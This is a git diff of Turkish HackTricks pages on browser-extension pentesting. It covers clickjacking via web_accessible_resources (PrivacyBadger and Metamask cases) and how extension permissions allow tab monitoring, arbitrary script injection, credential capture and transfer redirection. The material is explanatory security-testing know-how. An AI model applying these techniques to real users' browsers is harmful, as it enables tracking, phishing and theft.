oluşturulan uyarılarda şunlar bulunur: +* Uyarıya sebep olan ilgili kod parçası ve satır. * Sorunun açıklaması. * Kodu içeren tam kaynak dosyasını görüntülemek için "Dosyayı Görüntüle" düğmesi. * Uyarı verilen dosyanın yolu. * Uyarı verilen dosyanın tam Chrome uzantısı URI'si. -* Dosyanın türü, Örneğin Arka Plan Sayfası betiği, İçerik Betiği, Tarayıcı Eylemi vb. -* Eğer zayıf satır bir JavaScript dosyasında ise, dahil edildiği tüm sayfaların yolları ve bu sayfaların türleri, [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) durumu. -* **İçerik Güvenlik Politikası (CSP) analizcisi ve bypass kontrolcüsü -* Eğer **şirketinizin HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin. -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu. -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **pull request göndererek paylaşın**. +* Dosyanın türü, örneğin Arka Plan Sayfası betiği, İçerik Betiği, Tarayıcı Eylemi vb. +* Eğer zafiyetli satır bir JavaScript dosyasında ise, bu satırın dahil olduğu tüm sayfaların yolları ve bu sayfaların türleri, ve [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) durumu. +* **İçerik Güvenlik Politikası (CSP) analizcisi ve atlatma kontrolcüsü**: Uzantınızın CSP'sindeki zayıflıkları belirler ve CSP'nizi atlatmanın olası yollarını, beyaz listelenmiş CDN'ler vb. nedeniyle aydınlatır. +* **Bilinen Zafiyetli Kütüphaneler**: [Retire.js](https://retirejs.github.io/retire.js/) kullanarak bilinen-zafiyetli JavaScript kütüphanelerinin kullanımını kontrol eder. +* Uzantıyı indirme ve biçimlendirilmiş sürümleri indirme. +* Orijinal uzantıyı indirme. +* Uzantının güzelleştirilmiş sürümünü indirme (otomatik olarak güzelleştirilmiş HTML ve JavaScript). +* Tarama sonuçlarının otomatik önbelleğe alınması, bir uzantı taraması yapmak ilk seferinde biraz zaman alabilir. Ancak, uzantının güncellenmediği varsayılırsa, ikinci sefer, sonuçların önbelleğe alınması nedeniyle neredeyse anlık olacaktır. +* Bağlantılabilir Rapor URL'leri, Tarnish tarafından oluşturulan bir uzantı raporunu başka birine kolayca bağlantı yapabilirsiniz. - +### [Neto](https://github.com/elevenpaths/neto) + +Proje Neto, Firefox ve Chrome gibi popüler tarayıcılar için tarayıcı eklentilerinin ve uzantılarının gizli özelliklerini analiz etmek ve açığa çıkarmak için tasarlanmış Python 3 paketidir. Bu paket, paketlenmiş dosyaları açmak için süreci otomatikleştirir ve bu özellikleri uzantıdaki ilgili kaynaklardan (örneğin `manifest.json`, yerelleştirme klasörleri veya JavaScript ve HTML kaynak dosyaları) çıkarmak için kullanılır. + +## Referanslar + +* Bu metodolojiye yardımı için [**@naivenom**](https://twitter.com/naivenom) **teşekkürler** +* [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) +* [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/) +* [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/) +* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) +* [https://help.passbolt.com/assets/files/PBL-02-report.pdf](https://help.passbolt.com/assets/files/PBL-02-report.pdf) +* [https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts](https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts) +* [https://developer.chrome.com/docs/extensions/mv2/background-pages](https://developer.chrome.com/docs/extensions/mv2/background-pages) +* [https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/](https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/) +* [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0) + +
+ +AWS hackleme konusunda sıfırdan kahraman olmaya kadar htARTE (HackTricks AWS Red Team Expert) ile öğrenin! + +HackTricks'i desteklemenin diğer yolları: +* Eğer **şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşın, PR'larınızı göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index 706657fba..e0158419c 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -2,53 +2,53 @@
-AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **💬 [Discord grubumuza](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubumuza](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## Temel Bilgiler -Bu sayfa, bir Tarayıcı eklentisindeki ClickJacking zafiyetini istismar edecektir.\ -ClickJacking nedir bilmiyorsanız, şu adrese bakın: +Bu sayfa, bir Tarayıcı eklentisindeki ClickJacking zafiyetini kötüye kullanacaktır.\ +ClickJacking nedir bilmiyorsanız şuraya bakın: {% content-ref url="../clickjacking.md" %} [clickjacking.md](../clickjacking.md) {% endcontent-ref %} -Uzantılar, **`manifest.json`** adlı bir dosyayı içerir ve bu JSON dosyasında **`web_accessible_resources`** alanı bulunur. İşte [Chrome belgelerinde](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) bununla ilgili söylenenler: +Uzantılar **`manifest.json`** dosyasını içerir ve bu JSON dosyasında bir `web_accessible_resources` alanı bulunmaktadır. [Chrome belgelerinde](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) şöyle denir: -> Bu kaynaklar, **`chrome-extension://[PAKET KİMLİĞİ]/[YOL]`** URL'si aracılığıyla bir web sayfasında kullanılabilir hale gelir ve bu URL, **`extension.getURL`** yöntemiyle oluşturulabilir. İzin verilen kaynaklar, uygun CORS başlıklarıyla sunulduğundan, XHR gibi mekanizmalar aracılığıyla kullanılabilir.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) +> Bu kaynaklar daha sonra **`chrome-extension://[PAKET ID]/[YOL]`** URL'si aracılığıyla bir web sayfasında kullanılabilir, bu URL **`extension.getURL yöntemi`** ile oluşturulabilir. İzin verilen kaynaklar uygun CORS başlıkları ile sunulur, bu nedenle XHR gibi mekanizmalar aracılığıyla erişilebilir.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) -Tarayıcı uzantısındaki **`web_accessible_resources`**, sadece web üzerinden erişilebilir olmakla kalmaz, aynı zamanda uzantının doğal yetkileriyle çalışır. Bu, şunları yapabilme yeteneğine sahip oldukları anlamına gelir: +Tarayıcı uzantısındaki **`web_accessible_resources`**, sadece web aracılığıyla erişilebilir değildir; aynı zamanda uzantının doğal ayrıcalıklarıyla çalışır. Bu, şunları yapabilme yeteneğine sahiptir: -- Uzantının durumunu değiştirme -- Ek kaynaklar yükleme -- Tarayıcıyla belirli bir ölçüde etkileşimde bulunma +* Uzantının durumunu değiştirebilme +* Ek kaynaklar yükleme +* Tarayıcıyla belirli bir düzeyde etkileşimde bulunma -Ancak, bu özellik bir güvenlik riski oluşturur. **`web_accessible_resources`** içindeki bir kaynak önemli bir işlevselliğe sahipse, saldırgan bu kaynağı harici bir web sayfasına gömebilir. Bu sayfayı ziyaret eden dikkatsiz kullanıcılar, bu gömülü kaynağı yanlışlıkla etkinleştirebilir. Uzantının kaynaklarının izinleri ve yeteneklerine bağlı olarak, bu etkinleştirme istenmeyen sonuçlara yol açabilir. +Ancak, bu özellik bir güvenlik riski oluşturur. Eğer **`web_accessible_resources`** içindeki bir kaynak önemli bir işlevselliğe sahipse, bir saldırgan bu kaynağı potansiyel olarak harici bir web sayfasına gömebilir. Bu sayfayı ziyaret eden şüphesiz kullanıcılar, bu gömülü kaynağı yanlışlıkla etkinleştirebilirler. Bu etkinleştirme, uzantının kaynaklarının izinlerine ve yeteneklerine bağlı olarak istenmeyen sonuçlara yol açabilir. ## PrivacyBadger Örneği -PrivacyBadger uzantısında, `skin/` dizininin aşağıdaki şekilde **`web_accessible_resources`** olarak bildirildiği bir zafiyet tespit edildi (Orijinal [blog yazısına](https://blog.lizzie.io/clickjacking-privacy-badger.html) bakın): +PrivacyBadger uzantısında, `skin/` dizini, aşağıdaki şekilde `web_accessible_resources` olarak ilan edilen bir zafiyet tespit edildi (Orijinal [blog yazısına](https://blog.lizzie.io/clickjacking-privacy-badger.html) bakın): ```json "web_accessible_resources": [ "skin/*", "icons/*" ] ``` -Bu yapılandırma potansiyel bir güvenlik sorununa yol açtı. Özellikle tarayıcıdaki PrivacyBadger simgesiyle etkileşim sonucu oluşturulan `skin/popup.html` dosyası, bir `iframe` içine yerleştirilebilir. Bu yerleştirme, kullanıcıları "Bu Web Sitesi için PrivacyBadger'ı Devre Dışı Bırak" seçeneğine yanlışlıkla tıklamaya kandırmak için istismar edilebilir. Bu eylem, kullanıcının gizliliğini tehlikeye atarak PrivacyBadger korumasını devre dışı bırakır ve kullanıcıyı artan takibe maruz bırakabilir. Bu saldırının görsel bir örneği, [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm) adresindeki ClickJacking video örneğinde görülebilir. +Bu yapılandırma potansiyel bir güvenlik sorununa yol açtı. Özellikle tarayıcıda GizlilikKartalı simgesine tıklama sonucu oluşturulan `skin/popup.html` dosyası, bir `iframe` içine yerleştirilebilirdi. Bu yerleştirme, kullanıcıları yanıltmak ve yanlışlıkla "Bu Web Sitesi İçin GizlilikKartalı'yı Devre Dışı Bırak" seçeneğine tıklamalarını sağlamak için sömürülebilirdi. Bu eylem, GizlilikKartalı korumasını devre dışı bırakarak kullanıcının gizliliğini tehlikeye atabilir ve kullanıcıyı artan takibe maruz bırakabilir. Bu saldırının görsel bir gösterimi, [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm) adresinde sağlanan ClickJacking video örneğinde görülebilir. -Bu zafiyeti gidermek için basit bir çözüm uygulandı: `web_accessible_resources` listesinden `/skin/*` kaldırıldı. Bu değişiklik, `skin/` dizininin web erişilebilir kaynaklar aracılığıyla erişilemez veya manipüle edilemez olmasını sağlayarak riski etkin bir şekilde azalttı. +Bu zafiyeti ele almak için basit bir çözüm uygulandı: `web_accessible_resources` listesinden `/skin/*`'nin kaldırılması. Bu değişiklik, `skin/` dizininin web erişilebilir kaynaklar aracılığıyla erişilemeyeceğini veya manipüle edilemeyeceğini sağlayarak riski etkili bir şekilde azalttı. -Düzeltme kolaydı: **`web_accessible_resources` içinden `/skin/*` kaldırıldı**. +Düzeltme kolaydı: **`web_accessible_resources` listesinden `/skin/*`'yi kaldırın**. ### PoC ```html @@ -93,13 +93,13 @@ click me [**Metamask'ta bir ClickJacking hakkında bir blog yazısı burada bulunabilir**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). Bu durumda, Metamask, erişim için kullanılan protokolün **`https:`** veya **`http:`** olduğunu kontrol ederek (örneğin **`chrome:`** değil): -
+
-Metamask uzantısında başka bir ClickJacking hatası da düzeltildi. Kullanıcılar, bir sayfanın dolandırıcılık olabileceği şüphesiyle karşılaştığında **Tıklama ile beyaz listeye ekleme** yapabiliyorlardı. Çünkü `“web_accessible_resources”: [“inpage.js”, “phishing.html”]` ifadesi nedeniyle bu sayfa Clickjacking'e karşı savunmasızdı. Bir saldırgan, kurbanın fark etmeden beyaz listeye eklemek için normal bir şey göstererek onu kullanabilirdi ve ardından beyaz listeye alınan sahte sayfaya geri dönebilirdi. +Metamask uzantısında **başka bir ClickJacking düzeltildi**. Kullanıcılar, sayfanın **“web_accessible_resources”: [“inpage.js”, “phishing.html”]** nedeniyle dolandırıcılık olabileceğini şüpheli bulduğunda **Tıklamayla beyaz listeye eklenebiliyordu**. Bu sayfa Clickjacking'e karşı savunmasız olduğundan, bir saldırgan, kurbanın fark etmeden beyaz listeye eklemesini sağlamak için normal bir şey göstererek bunu istismar edebilir ve ardından beyaz listeye alınacak olan dolandırıcılık sayfasına geri dönebilirdi. -## Steam Inventory Helper Örneği +## Steam Envanter Yardımcısı Örneği -Bir tarayıcı uzantısındaki bir **XSS** ile bir **ClickJacking** açığı nasıl birleştirildiğini kontrol etmek için aşağıdaki sayfaya bakın: +Bir tarayıcı uzantısındaki bir **XSS**'nin bir **ClickJacking** zafiyeti ile nasıl birleştirildiğini kontrol etmek için aşağıdaki sayfaya bakın: {% content-ref url="browext-xss-example.md" %} [browext-xss-example.md](browext-xss-example.md) @@ -109,17 +109,3 @@ Bir tarayıcı uzantısındaki bir **XSS** ile bir **ClickJacking** açığı na * [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html) * [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9) - -
- -AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin! - -HackTricks'i desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. - -
diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index 6a4eefc8e..a5ff272ba 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -1,32 +1,32 @@ -# BrowExt - izinler ve host_permissions +# BrowExt - izinler ve host\_permissions
-AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'a katılın! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **paylaşın**.
## Temel Bilgiler -### **`permissions`** +### **`izinler`** -İzinler, uzantının **`manifest.json`** dosyasında **`permissions`** özelliği kullanılarak tanımlanır ve tarayıcının erişebileceği hemen hemen her şeye (Çerezler veya Fiziksel Depolama) erişim sağlar: +İzinler, genellikle bir tarayıcının erişebileceği hemen hemen her şeye erişim sağlayan **`manifest.json`** dosyasında tanımlanır ve (Çerezler veya Fiziksel Depolama): -Önceki manifest, uzantının `storage` iznini gerektirdiğini belirtir. Bu, uzantının verilerini kalıcı olarak depolamak için [depola API'sini](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kullanabileceği anlamına gelir. Kullanıcılara bazı düzeyde kontrol sağlayan çerezler veya `localStorage` API'lerinin aksine, **uzantı depolaması genellikle yalnızca uzantıyı kaldırarak temizlenebilir**. +Önceki manifest dosyası, uzantının `storage` iznini gerektirdiğini belirtir. Bu, [depolama API'sini](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kullanarak verilerini kalıcı olarak depolayabilir. Kullanıcılara belirli bir kontrol seviyesi sağlayan çerezler veya `localStorage` API'lerinin aksine, **uzantı depolaması genellikle yalnızca uzantının kaldırılmasıyla temizlenebilir**. -Bir uzantı, **`manifest.json`** dosyasında belirtilen izinleri isteyecek ve uzantıyı yükledikten sonra tarayıcınızda izinlerini her zaman kontrol edebilirsiniz, aşağıdaki resimde gösterildiği gibi: +Bir uzantı, **`manifest.json`** dosyasında belirtilen izinleri isteyecek ve Uzantıyı yükledikten sonra, tarayıcınızda **her zaman izinlerini kontrol edebilirsiniz**, bu resimde gösterildiği gibi: -
+
-[**Bir Chromium Tarayıcı Uzantısı'nın isteyebileceği tam izin listesini burada bulabilirsiniz**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) ve [**Firefox uzantıları için tam bir liste burada bulunabilir**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** +[Chromium Tarayıcı Uzantısının isteyebileceği izinlerin tam listesini burada bulabilirsiniz](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) ve [Firefox uzantıları için tam liste burada](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**.** ### `host_permissions` @@ -49,74 +49,90 @@ Aşağıdaki `host_permissions` temel olarak her web sitesine izin verir: "" ] ``` -Bu, tarayıcı uzantısının serbestçe erişebileceği ana bilgisayarları içerir. Bunun nedeni, bir tarayıcı uzantısı **`fetch("https://gmail.com/")`** çağrısı yaptığında CORS tarafından kısıtlanmamasıdır. +Bu, tarayıcı uzantısının serbestçe erişebileceği ana bilgisayarlar. Bu, bir tarayıcı uzantısı **`fetch("https://gmail.com/")`** çağırdığında CORS tarafından kısıtlanmadığı için geçerlidir. -## `permissions` ve `host_permissions` Kötüye Kullanma +## `permissions` ve `host_permissions` Kötüye Kullanımı ### Sekmeler -Ayrıca, **`host_permissions`** "gelişmiş" [**sekme API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) işlevselliğini de açar. Uzantı, [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) çağrısı yapabilir ve sadece kullanıcının tarayıcı sekmelerinin bir listesini almakla kalmaz, aynı zamanda yüklenen web sayfasının (adres ve başlık anlamında) hangisi olduğunu da öğrenebilir. +Ayrıca, **`host_permissions`** ayrıca “gelişmiş” [**sekme API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **işlevselliğini** açar. Bunlar uzantının [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) çağrısına izin verir ve sadece kullanıcının tarayıcı sekmelerinin bir **listesini almakla kalmaz, aynı zamanda yüklenen web sayfasının (adres ve başlık anlamına gelen) hangisi olduğunu da öğrenir**. {% hint style="danger" %} -Bununla birlikte, [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) gibi dinleyiciler de daha kullanışlı hale gelir. Bunlar, yeni bir sayfa bir sekmeye yüklendiğinde bildirim alır. +Bununla birlikte, [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) gibi dinleyiciler de **daha da kullanışlı hale gelir**. Bunlar, bir sekme içine yeni bir sayfa yüklendiğinde bildirilecektir. {% endhint %} -### İçerik betiklerini çalıştırma +### İçerik betiklerinin çalıştırılması -İçerik betikleri, uzantı manifestosuna statik olarak yazılmış olmak zorunda değildir. Yeterli **`host_permissions`** sağlandığında, uzantılar [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) veya [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) çağrısı yaparak bunları dinamik olarak yükleyebilir. +İçerik betikleri genellikle uzantı manifestosuna statik olarak yazılmaz. Yeterli **`host_permissions`** verildiğinde, **uzantılar ayrıca** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **veya** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **çağrılarak bunları dinamik olarak yükleyebilir**. -Her iki API de, içerik betikleri olarak uzantıda bulunan dosyaları değil, aynı zamanda **keyfi kodu** da yürütmeye izin verir. İlki, bir JavaScript kodunu bir dize olarak iletmeyi sağlarken, ikincisi enjeksiyon güvenlik açıklarına daha az duyarlı olan bir JavaScript işlevi bekler. Bununla birlikte, her iki API de yanlış kullanıldığında sorunlara neden olabilir. +Her iki API de, içerik betikleri olarak uzantı içinde bulunan dosyaları değil, aynı zamanda **keyfi kodu da yürütmeye olanak tanır**. İlk olan, JavaScript kodunu bir dize olarak iletmeyi sağlarken, ikincisi enjeksiyon güvenlik açıklarına daha az duyarlı bir JavaScript işlevini bekler. Yine de, her iki API de yanlış kullanıldığında ciddi sorunlara yol açabilir. {% hint style="danger" %} -Yukarıdaki yeteneklere ek olarak, içerik betikleri örneğin, web sayfalarına girilen kimlik bilgilerini **ele geçirebilir**. Her bir web sitesine **reklam enjekte edebilir**. Haber sitelerinin güvenilirliğini kötüye kullanmak için **dolandırıcılık mesajları ekleyebilir**. Son olarak, bankacılık web sitelerini **para transferlerini yeniden yönlendirmek** için manipüle edebilir. +Yukarıdaki yeteneklerin yanı sıra, içerik betikleri örneğin **kimlik bilgilerini** girildiği gibi alabilir. Bunları kötüye kullanmanın klasik yollarından biri de her web sitesine **reklam enjekte etmektir**. Haber sitelerinin güvenilirliğini kötüye kullanmak için **dolandırıcılık mesajları** eklemek de mümkündür. Son olarak, bankacılık web sitelerini **para transferlerini yeniden yönlendirmek için manipüle edebilirler**. {% endhint %} -### İzinlerin İma Edilen Yetkileri +### Dolaylı ayrıcalıklar -Bazı uzantı yetkileri **açıkça bildirilmek zorunda değildir**. Bir örnek, [sekme API'si](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)dir: temel işlevselliği herhangi bir yetkiye ihtiyaç duymadan erişilebilir. Herhangi bir uzantı, açılan ve kapatılan sekmeleri bildirebilir, yalnızca bu sekmelerin hangi web sitesine karşılık geldiğini bilemez. +Bazı uzantı ayrıcalıkları **açıkça bildirilmek zorunda değildir**. Bir örnek, [sekme API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) dir: temel işlevselliğine hiçbir ayrıcalık olmadan erişilebilir. Herhangi bir uzantı, açtığınız ve kapattığınız sekmeleri bildirilebilir, yalnızca bu sekmelerin hangi web sitesine karşılık geldiğini bilemez. -Çok zararsız gibi görünüyor mu? [tabs.create() API'si](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) biraz daha az zararlıdır. Herhangi bir web sitesi tarafından çağrılabilen [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) ile aynıdır. Ancak `window.open()` pop-up engelleyiciye tabi iken, `tabs.create()` değildir. +Çok zararsız görünüyor mu? [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) biraz daha az zararlıdır. Yeni bir sekme oluşturmak için kullanılabilir, temelde herhangi bir web sitesi tarafından çağrılabilen [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) ile aynıdır. Ancak `window.open()` pop-up engeline tabidir, `tabs.create()` değildir. {% hint style="danger" %} -Bir uzantı istediği zaman herhangi bir sayıda sekme oluşturabilir. +Bir uzantı istediğinde her zaman istediği sayıda sekme oluşturabilir. {% endhint %} -`tabs.create()` parametrelerini inceleyecek olursanız, yeteneklerinin `window.open()`'in kontrol etmesine izin verilenin ötesine gittiğini fark edeceksiniz. Firefox, bu API ile `data:` URI'lerinin kullanılmasına izin vermezken, Chrome böyle bir korumaya sahip değildir. **Bu tür URI'lerin üst düzeyde kullanımı**, [**dolandırıcılık için kötüye kullanıldığı için yasaklanmıştır**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** +`tabs.create()` parametrelerini incelediğinizde, yeteneklerinin `window.open()` tarafından kontrol edilmesine izin verilenin çok ötesine gittiğini fark edeceksiniz. Ve Firefox, bu API ile `data:` URI'larının kullanılmasına izin vermezken, Chrome'un böyle bir koruması yoktur. **Bu tür URI'ların üst düzeyde kullanımı** [**dolandırıcılık için kötüye kullanıldığından yasaklanmıştır**](https://bugzilla.mozilla.org/show\_bug.cgi?id=1331351)**.** -[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update), `tabs.create()`'e çok benzer, ancak **mevcut bir sekmeyi değiştirir**. Bu nedenle, kötü niyetli bir uzantı örneğin reklam 